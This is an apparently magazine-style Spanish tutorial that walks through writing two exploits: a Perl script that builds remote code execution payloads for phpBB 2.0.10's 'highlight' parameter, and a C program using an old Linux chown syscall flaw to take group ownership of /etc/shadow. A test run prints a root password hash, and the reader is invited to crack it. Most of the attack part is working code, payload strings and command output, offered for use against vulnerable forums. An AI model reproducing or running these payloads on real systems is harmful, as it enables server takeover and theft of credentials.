PHPbb & CHOWN eXploits

En artículos anteriores hemos visto como usar los exploits, esos "programitas" que explotan bugs (errores) de algunos servicios, sistemas operativos... Para hacer lo que nos venga en gana ¿No os interesa saber como se hacen? ¿Tener algunos ejemplos y/o desarrollar algunos de propios?

Introducción

La programación de exploits no es una tarea nada fácil. Cada exploit esta destinado a un bug en concreto, así que cada uno tendrá un fin totalmente distinto. Los lenguajes a elegir dependen también del tipo de programa que deseemos hacer, así que podéis encontrar exploits escritos en muchos lenguajes distintos, desde "C++" hasta ensamblador.

Con todo esto quiero decir que, ir a una web repleta de exploits, bajarlos, compilarlos y usarlos, es tarea fácil para todo el mundo, entender como funcionan ya es otro tema. Así que nadie se haga pasar por "hacker" hasta tener eso ­bien claro, usar un exploit hecho por otra persona no te convierte en el gran "hacker" que muchos creen. Por otra parte hay que decir, que para poder seguir adecuadamente el artículo, deberías tener unas bases (digamos medias) de C y Perl, además de entender como funciona el sistema Linux. Pensad que no puedo comentar cada linea del código, porque se haría infinítamente largo, aun así intentaré explicarlo lo más detalladamente posible. Bueno, una vez dicho esto, llegó la hora de empezar con lo interesante!

eXploit para PHPBB

Supongo que todos recordaréis ese bug que se comentó algunos números atrás (Febrero, creo) en el artículo de intrusión a sistemas, el del módulo de apache, phpBB, bastante usado para hacer foros. El bug nos permite ejecutar código en el servidor como usuario "nobody" del grupo "nobody", en otras palabras, sin tener permisos para prácticamente nada, pero de mejorar eso se encargaran vuestras ideas, y la ayuda del exploit "chown" comentado posteriormente. Es importante saber que este bug sólo ocurre en las versiones de phpBB <= 2.0.10.

El bug sucede por un mal uso de la función "urldecode" en el script "viewtopic.php". Este script se encarga de mostrar el "tema" del foro que queramos. Entonces, digamos que estamos visitando un foro, y nos fijamos en la barra de direcciones, donde vemos algo como lo siguiente:
http://www.host.com/phpBB2/viewtopic.php?t=73
Todo lo que hay después del "?" son las variables, en este caso le estamos pasando la variable "t" que es la encargada de decir el topic del foro que queremos visitar. En este caso estamos visitando el tópic número 73 (t=73).

Bueno, hasta ahí la petición que hace el navegador. Lo que el navegador no nos dice, es que el script viewtopic.php tiene otra variable, "highlight". El mal uso de la función, se hace precisamente al tratar esta variable, en el script está la línea siguiente:
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
Ésta aplica la función "urldecode" a la variable highlight. Esta función sirve para decodificar los valores en hexadecimal por su correspondiente carácter (p.e.: %4B = 'K' ). No obstante, esta función tiene una característica interesante, y es que si el "%" va seguido del número 25 (que es el '%' en hexadecimal - %25= '%'), automáticamente lo elimina (fíjate que cosas.... ) .

La función no es incorrecta, pero su uso sí. ¿Por qué? Os preguntaréis... Pues para empezar, porque nos permite pasarle cualquier cadena sin hacerle ningún filtrado con anterioridad, consecuentemente, como elimina los dos porcentajes ( '%' y '25'), podemos hacerle pasar cualquier carácter que les siga. Vale, no habéis entendido nada, lo supongo. Veamos un poco más, más adelante en el script, se asigna el valor de "$highlight" a la variable "$highlight_match", y seguidamente viene la función:
"preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" .$theme['fontcolor3'] ."\"><b>\\\\1</b></span>', '\\0')"
Para quien no sepa PHP (como yo ...) le resultará difícil ver que significa esto. Lo que se hace aquí es llamar a la función "preg_replace", pasándole como argumento el carro que le sigue. Luego también es importante saber que en PHP el "." sirve para concatenar cadenas. En el listado1 tenemos un ejemplo de la interpretación por parte del script a una cadena dada, ayuda mucho, mirarlo.

LISTADO 1

Supongamos que le pasamos el siguiente valor a la variable "$highlight":

   www.example.com/forum/t=2&highlight=%2527%252Eprint(phpinfo())%252e%2527

Sabiendo que: 25="%"  27= "'"(single-quote)  2E= "." y que el símbolo "&" sirve para separar las variables.

El script hará los siguientes pasos:

  1. Pasarlo por la función "urldecode", teniendo en cuenta que los %25 se suprimen por el propio funcionamiento de esta, la cadena quedaría como sigue:

      $highlight= '.print(phpinfo()).'

  2. Asigna esta cadena como parte de la variable "$highlight_match" y llamará a la función "preg_replace" pasándole esta variable con otras concatenadas mediante el ".", de manera que la llamada a la función nos quedaría:

      "preg_replace('#\b( '.print(phpinfo()).' )\b#i', '<span style=\"c...
      </span>', '\\0')"

Lo véis? o os lo explico? jeje, vale... Si os fijáis lo que hemos conseguido es cerrar el string con el "'", concatenar la salida del comando entre medio de la expresión ".print(phpinfo())." y luego volver a abrir la "'" del string. De esta manera conseguimos ejecutar funciones en el host remoto, mediante "Inyección de Código" al script.

Perdón si la explicación no es muy clara, pero la idea es esa. Para profundizar, echar un vistazo al advisory:

   http://www.kb.cert.org/vuls/id/497400

Y la solución, a parte de updatear:

   http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513
Como vemos en el listado, el host EJECUTA la función. Ahora solo hace falta saber una función en PHP que sirva para ejecutar comandos en el host, esa función es "system($COMANDO)". Bueno, ahora ya sabemos la estructura de la cadena que hay que pasarle para provocar la ejecución remota en el host. A groso modo sería la siguiente:
&highlight=%2527%252Esystem($COMANDO)%252E%2527
Ahora podemos suponer que para ejecutar el comando, simplemente debemos cambiar "$COMANDO" por un comando, por ejemplo: "ls". De manera que enviamos:
&highlight=%2527%252Esystem(ls)%252E%2527
Y vemos en la imagen1 que funciona, en cambio si queremos usar el comando "ls -a" de la misma manera ( system(ls -a) ) veremos que no ocurre nada. Eso es por culpa del espacio y del símbolo "-". De lo que podemos deducir que todos los símbolos y espacios debemos pasarlos de manera "indirecta", es decir, camuflados. Ahora debemos estudiar un poco más de PHP para darnos cuenta que existe una función llamada "chr()" que a partir del valor ascii en decimal, nos devuelve el carácter (p.e. chr(45)='-' -> www.asciitable.com, o bien,"man ascii").

IMAGEN 1


Ahora, sabiendo que el "." concatena cadenas, y "chr()" devuelve el carácter. ¿ Que tal si concatenamos los carácteres para hacer los comandos? es decir, que tal si en vez de poner “system(ls -a)” directamente, ponemos:
system(chr(108).chr(115).chr(32).chr(45).chr(97))
Simplemente probarlo y veréis como funciona, o mirar la imagen2 (fijaros en los “.” y “..” que antes no aparecían). Hay que decir que también funcionaría enviando "system(ls.chr(32).chr(45).a)", ya que solo nos molestan los símbolos y espacios.

IMAGEN 2

El exploit

Perfecto, ya sabemos todo lo que necesitamos acerca del Bug, como funciona, y porque se produce. Es hora de programar el exploit. Primer hay que plantear la idea de como hacerlo. Para hacerlo más sencillo, haremos simplemente que el exploit genere la cadena "&highlight=%2527...2E", os dejo para vosotros las modificaciones oportunas para que haga de emulador de consola o lo que queráis! Otro punto a tener en cuenta es el lenguaje que usaremos, como debemos jugar mucho con cadenas, concatenando, verificando, modificando... usaremos el lenguaje Perl que es muy potente en ese sentido.

Como el exploit es algo largo, supondré que ya sabéis Perl, lo siento, pero es que no tengo más espacio, aun así haré anotaciones para ayudar a su entendimiento. La parte más importante es la función que debe preparar la cadena, ¿Como hacerla? Pues bien, de momento hemos visto 3 maneras de ejecutar un comando: con los ascii tal cual ( system(ls) ), mezclando ascii con chr() (system(ls.chr(32)....) ) o bien usando solo chr ( system(chr(..).chr(..)...)) .

Como la manera adecuada de programar esta función es usando iteraciones, lo ideal es que lo hiciéramos todo de la misma forma, así que usaremos el último caso, de esta manera da igual el comando que queramos, porque lo podremos generar correctamente usando "chr", hayan espacios o no.

Vamos allá, pensemos... El funcionamiento del exploit es tan simple como crear la cadena:
$cmd='&highlight=%2527%252Esystem(';
De esta manera declaramos la cadena $cmd que tiene como contenido, inicialmente, la parte del principio de la cadena. El resto de la cadena estará formada por el comando. que queramos ejecutar, y luego finalmente habrá la cadena final, que también podríamos declararla desde un principio:
$cmd_FIN=')%252E%2527';
Ya tenemos la cabeza y la cola de nuestra preciada cadena, vayamos ahora a rellenarle la parte intermedia. Supongo que todos habréis caído en usar el exploit de la siguiente manera:
$ ./phpBB_xpl.pl <comando>
De esta manera podemos especificar el comando que queremos que nos codifique. Por lo que debemos, primero leer el argumento, luego separar cada carácter y poner su codificación correspondiente ( chr(<numero_carácter>); ), finalmente sólo nos queda ir concatenándolos añadiendo un “.” entre cada uno. ¿Como hacerlo? Pues de la siguiente manera (NOTA: En Perl las variables se denotan: $<nombre_variable> ):
Primer paso:
@UniChars = split ( // , $ARGV[0]);
$NumChars = length( $ARGV[0] );
Con la función split dividimos el argumento en caracteres, creando así el array “@UniChars”, en cada posición contiene un carácter del argumento. Luego guardamos a “$NumChars” el número de caracteres del argumento (longitud).
Segundo paso (inicial):
$IntChar = ord( $UniChars[0] );
$cmd = $cmd.”chr( $IntChar )”; #Este “.” sirve para concatenar Cadenas en PERL
De esta manera asignamos a la variable “$IntChar” el valor decimal del primer carácter del argumento y luego lo concatenamos a la string “$cmd” inicial. El primer paso lo sacamos fuera del bucle, porque en el “for” ponemos un “.” antes de “chr()” para concatenar, pero en el primer paso eso no es necesario. Segundo paso (iterativo):
for( $i = 1 ; $i < $NumChars ; $i++ ){
   $IntChar = ord( $UniChars[ $i ] );
   $cmd=”$cmd.chr( $IntChar )”;  #Este “.” forma parte de la cadena que estamos haciendo
}
En este paso, se hace lo mismo que en caso particular, hasta llegar a “$NumChars” que es la longitud total de la cadena. Además se diferencia en que el punto que aparece, esta dentro de la cadena.

Después de estos pasos tendremos la cadena casi generada, solo nos faltara imprimirla por pantalla, para ello nos serviremos de la función “print”:
print  $cmd.$cmd_FIN.”\n”;  #Estos puntos están concatenando cadenas, no forman parte de ella
Y ya está! Ya tenemos nuestro exploit haciendo lo que queremos, muy simple pero eficaz, sólo deberemos copiar la salida del print a continuación del host en la barra de direcciones. En el codigo1 podemos ver el exploit completo.

CÓDIGO 1

#!/usr/bin/perl

#Si no se le pasa por lo menos un argumento, sale dando un error
$ARGV[0] or die "Uso: ./phpBB_xpl.pl <comando>\n";

#Primer paso
$size=length($ARGV[0]);
@UniChar=split(//,$ARGV[0]);

#Definición de las cadenas de inicio y fin de la sentencia final
$cmd='&highlight=%2527%252Esystem(';
$cmd_FIN=')%252E%2527';

#Primer carácter del argumento
$IntChar=ord($UniChar[0]);
$cmd=$cmd."chr($IntChar)";

#Resto de caracteres del argumento
for( $i=1; $i<$size ; $i++ ){
   $IntChar=ord($UniChar[$i]);
   $cmd="$cmd.chr($IntChar)";
}
#Imprimimos el resultado y salimos
print $cmd.$cmd_FIN."\n";
exit;

Testeo

Ahora...¡Vamos a probarlo! Empecemos por darle permisos de ejecución:
~$ chmod +x phpBB_xpl.pl
Y ahora lo ejecutamos sin ningún argumento para que nos aparezca la ayuda:
~$ ./phpBB_xpl.pl
Uso: ./phpBB_xpl.pl <comando>
~$
De momento todo correcto... Veamos si realmente genera lo que debería:
~$ ./phpBB_xpl.pl "ls -a"
&highlight=%2527%252Esystem(chr(108).chr(115).chr(32).chr(45).chr(97))%252E%2527
~$
¡Et Voilà| ! Aquí tenemos la prueba de que realmente funciona. Ahora solo necesitamos encontrar algún foro que sea vulnerable para poder así explotarlo. Otra opción seria mejorar el eXploit para que hiciera una pequeña emulación de shell remota. Lo cual no seria complicado, solo debemos codificar los comandos que se escriben, rehacer la petición, enviarla al puerto 80 (donde corre el server) y finalmente tratar un poco los resultados para filtrar la información que deseamos mostrar (salida de los comandos). De verdad que no es nada difícil, muchos ya lo han hecho. Además, os sentiréis orgullosos de usar vuestras propias herramientas.

Por cierto, si tenéis problemas entendiendo cualquiera de los códigos aquí expuestos, ya se en el exploit de phpBB o el de “chown” explicado más adelante, pasaros por la siguiente dirección:
http://www.lawebdelprogramador.com/cursos/
En esta sección podréis encontrar varios cursos de distintos lenguajes. Leerlos.

eXploit para chown

Hace ya algún tiempo, apareció un bug para la llamada del sistema "chown" de Linux. Esta función del kernel se utiliza para cambiar los propietarios o el grupo de un fichero en Linux. Evidentemente, se deben tener los permisos pertinentes para hacerlo, no obstante, en kernels inferiores a 2.6.7-rc3 (en la rama 2.6) y inferiores a 2.4.27-rc3 (rama 2.4) es posible cambiar el grupo de un fichero al que, teóricamente, no teníamos acceso. Lógicamente lo que nos interesa es hacerlo del mismo grupo del que nosotros seamos para así poder tener acceso. Resumiendo sería eso, aunque lo cierto es que lo ideal, para entenderlo bien, seria pasar el link del advisory (aviso del bug), el único problema es que no lo he encontrado, jeje. Así que no lo pongo :P.

Por cierto, que a nadie se lo ocurra ir a la consola y poner: “chown .users fichero” porque no le funcionará. Repito, el exploit es de la syscall, el comando chown de la shell, aunque haga lo mismo y llame a la syscall, antes de hacerlo hace pequeñas comprobaciones con lo que nos imposibilita hacer uso del bug.

El exploit

Bueno, vamos a empezar haciendo un pequeño esquema de como queremos que sea nuestro exploit, es decir, ¿que queremos que haga? Pues bien, en realidad el exploit lo único que tiene que hacer es, a partir de un argumento -que será el fichero-, cambiar el grupo, y en caso de haber algún error, mostrarlo por pantalla. También estaría bien ponerle una "ayuda" en caso de no especificar ningún parámetro.

De esta manera ya tenemos una pequeña idea de lo que debemos hacer. Ahora veamos...¿Que lenguaje podemos usar? Personalmente, me decantare por el lenguaje C, ya que solo tenemos un par de condicionales y desarrollar el programa es sólo cuestión de un par de minutos. Bueno, ahora que ya sabemos el lenguaje, informémonos sobre como programar esas acciones en C. Para empezar hagamos un "man 2 chown" para ver la pagina del manual relacionada con la función del sistema (syscall) "chown" en C (“man chown” nos mostraría la ayuda del comando de la shell, lo cual no nos interesa). Ahí vemos la "SYNOPSIS":
[...]
SYNOPSIS
   #include <sys/types.h>
   #include <unistd.h>

   int chown(const char *path, uid_t owner, gid_t group);
[...]
Traducido int chown(const char *ruta_al_fichero, uid_t propietario, gid_t grupo);
Vale, ya sabemos las cabeceras necesarias, y los argumentos que debemos pasarle a la función, pero ahora tenemos otro pequeño problemilla...¿Como hacemos para que el fichero mantenga el "owner" que ya tiene asignado? Pues la respuesta la encontramos unas líneas más abajo:
[...]
	If the owner or group is specified as -1, then that ID is not  changed.
[...]
Traducido "Si en el propietario o el grupo se pone -1, entonces ese identificador no se cambia."
Vale!! Ya sabemos como va la función "chown" ahora veamos... Recordemos lo que debemos hacer, dejar el usuario tal y como estaba, y cambiar el grupo al nuestro...¿Cómo podemos saber nuestro grupo? Pues ejecutando el comando “id” en la shell podemos verlo:
~$ id
uid=1000(SS) gid=1001(users)
Pero.. realmente queremos que se tenga que especificar nuestro grupo en el argumento? No habrá alguna función en C que sirva para eso? Pues claro!, hay una función que se llama "getgid()", que sirve precisamente para este fin, veamos un poco más sobre ella "man getgid";
[...]
SYNOPSIS
   #include <unistd.h>
   #include <sys/types.h>

   gid_t getgid(void);
[...]
Como vemos usa las mismas cabeceras que la función "chown" y además no tiene ningún argumento, eso es normal ya que lo que devuelve no es otra cosa que el "GID" del usuario que ejecuta el binario. Vale... hasta ahora no tenemos nada en concreto, vamos a pensar como deberemos ejecutar la función “chown”, teniendo en cuenta que el primer, y único, argumento del exploit será la ruta hacia el fichero, que no debemos cambiar el propietario, y que debemos asignarle nuestro grupo. La solución es simple:
chown(argv[1],-1,getgid());
Ciertamente, haciendo un “fichero.c” con las cabeceras y esta linea, ya tendríamos bastante jeje, pero vamos hacerlo un pelín más completo. Que tal si damos un error en caso de que falle? Claro que... ¿Como sabemos si ha resultado con éxito o no la ejecución de la función? Pues más de lo mismo, "man 2 chown" y si os fijáis en el apartado “RETURN VALUE” pone que si la función tiene éxito devuelvo 0, en caso contrario devuelve -1. Ahora si que ya estamos listos para programar el exploit al completo. Lo podemos ver en el codigo2.

CÓDIGO 2

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

main(int argc,char **argv)
{
   //Miramos si se le pasa un único argumento
   if( argc!=2 ){
      fprintf(stderr,"Uso: %s <ruta_del_fichero>\n",argv[0]);
      exit(1);
   }

   //Intentamos cambiar los permisos de grupo
   if( chown(argv[1],-1,getgid()) < 0)
      fprintf(stderr,"Oops! Ocurrió un error\n"); //Si fracasamos
      else    fprintf(stderr,"OK!\n");        //Si todo sale bien
}
Supongo que los comentarios son más que suficientes, pero aun así haré una breve descripción. A groso modo, el programa se divide en dos bloques, que serian las dos condicionales. El primer bloque se encarga de asegurarse que se le ha pasado un sólo parámetro al comando, mientras que el segundo sirve para dar un error en caso de no haber podido cambiar el grupo o bien dar un mensaje de correcto funcionamiento.

Testeo

Bueno, ya lo hemos pensado, programado y comentado. Ahora vayamos a probarlo ¿no? Veamos la versión del kernel:
$ uname -a
Linux SS 2.6.6 #1 Tue Jan 25 18:01:53 CET 2005 i686 GNU/Linux
Perfecto! Esta dentro de las comprometidas, compilemos y veamos que tal funciona, por ejemplo, con el archiconocido fichero "/etc/shadow". Como todos sabéis (o deberíais), un usuario "normal" no tiene posibilidad alguna de ver el contenido de este archivo ¿Pero que pasará si cambiamos el grupo?
$ gcc chown_xpl.c -o chown_xpl
$ ./chown_xpl
uso: ./chown_xpl <ruta_del_fichero>
$ ls -l /etc/shadow
-rw-r-----  1 root shadow 850 2005-01-04 00:22 /etc/shadow
$ id
uid=1000(SS) gid=1001(users)
$ ./chown_xpl /etc/shadow
OK!
$ ls -l /etc/shadow
-rw-r-----  1 root users 850 2005-01-04 00:22 /etc/shadow
$ cat /etc/shadow
root:$1$S4z7APyD$pr4b31QCawxYDFxDnglBD1:12564:0:99999:7:::
[...]
¡Et Voilà! Ahí lo tenéis, el contenido del fichero "/etc/shadow". Ahora os propongo un pequeño examen, a ver quien es capaz de desencriptar ese password, recordad el artículo de "obtención de contraseñas" de números atrás. Si alguien lo consigue que me lo envíe al mail, y yo, de mucho gusto, le daré un regalito no-sexual, jeje. Os advierto que no será fácil.

Conclusiones

Bueno, pues hasta aquí el artículo de programación de exploits para phpBB y chown, como muchos supondrán, yo no he sido el primero en programar esos eXploits, además de que el texto pretende sólo mostrar las bases, por lo que los exploits son muy simples. Así que os daré la dirección en donde podréis encontrarlos más completos.
PHPBB exploit http://personales.ya.com/badchecksum/code/phpbbexploit.pl
CHOWN exploit http://www.k-otik.com/exploits/20041223.raptor_chown.c.php
Os recomiendo a todos una ojeada por estas dos webs, que podéis ver en las imágenes 3 y 4 respectivamente. Las dos están repletas de exploits, advisories y textos, realmente interesantes que nos pueden ayudar, a todos, a comprender mejor este mundo de la informática. Finalmente darles las gracias a mis amigos de www.BadCheckSum.tk por desarrollar esos códigos que, como dije anteriormente, nos ayudan tanto.

IMAGEN 3


También darles las gracias al grupo k-otik, que aunque no les conozco, tienen una web interesantísima.

IMAGEN 4


Un mensaje para los lectores: Leed y Aprended, sólo así sabréis más.

EOF